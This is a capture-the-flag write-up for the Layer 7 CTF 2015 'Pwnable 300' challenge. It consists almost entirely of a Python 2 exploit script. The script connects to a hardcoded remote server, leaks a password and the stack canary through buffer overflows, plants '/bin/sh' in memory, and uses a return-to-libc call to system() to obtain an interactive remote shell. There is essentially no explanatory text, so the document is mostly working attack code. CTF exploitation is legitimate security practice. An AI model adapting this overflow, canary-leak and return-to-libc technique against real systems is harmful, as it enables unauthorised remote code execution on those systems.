[Payload/Layer 7 CTF 2015] Pwnable - 'Spil..Spli....SPPPPPIILL'

Layer 7 CTF 2015  - Pwnable 300

-Remote Return-to-Libc & SSP memory leaking-

#!/usr/bin/python
#-*-coding:utf-8-*-
 
import socket
import struct
import telnetlib
 
#Endian Translator
p = lambda x : struct.pack("<L", x)
up = lambda x : struct.unpack("<L", x)[0]
 
#Addresses
system_plt = 0x08048610
freebss = 0x0804b0e0
addr_leak_pass = 0x0804b060
 
#Misc
payload = None
password = None
canary = None
 
 
print '''
[!] Layer 7 CTF 2015 Spil..Spli....SPPPPPIILL Exploit [!]
~ By RevDev
~ Python 2.7
~ Remote Exploit
'''
 
print "[!] Establishing Connection [!]"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('52.192.51.122', 8777))
print s
print ''
 
print "[!] Leaking Password [!]"
s.recv(1024)
payload = 'A'*129 + 'B'*156 + p(addr_leak_pass)
s.send(payload + '\n')
s.recv(1024)
password = s.recv(1024)
password = password[(password.index("***:") + 5) : password.index(" terminated")]
password = password.split("\n")[0]
print "Password : %s\n" %password
s.close()
 
print "[!] Re-Establishing Connection [!]"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('52.192.51.122', 8777))
print s
print ''
 
print "[!] Leaking Stack Canary & Injecting \"/bin/sh\" [!]"
s.recv(1024)
s.send(password + '\n')
s.recv(1024)
s.recv(1024)
s.send('2' + '\n')
s.recv(1024)
s.recv(1024)
s.send('1' + '\n')
s.recv(1024)
s.recv(1024)
s.send('4' + '\n')
s.recv(1024)
s.send('A'*21 + '\n')
s.recv(1024)
s.send("/bin/sh;" + '\n')
s.recv(1024)
s.send("I_h4t3_fuck1n_c4n4ry" + '\n')
s.recv(1024)
canary = s.recv(1024)
canary = canary[(canary.find("AAA\n") + 4) : canary.find("Wow")]
if(len(canary) < 4):
    canary = '\x00'*(4 - len(canary)) + canary
print "Canary : 0x"+canary.encode('hex')
print "\"/bin/sh\" Address : 0x%x\n" %freebss
 
print "[!] Sending Exploit [!]"
s.send('3' + '\n')
s.recv(1024)
payload = 'A'*217 + canary + 'A'*12 + p(system_plt) + 'A'*4 + p(freebss) + '\n'
s.send(payload)
s.recv(1024)
s.recv(1024)
s.send('0' + '\n')
s.recv(1024)
s.recv(1024)
s.send('1' + '\n')
s.recv(1024)
s.recv(1024)
print "Payload : %s\n" %payload
 
print "[!] Shell [!]"
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()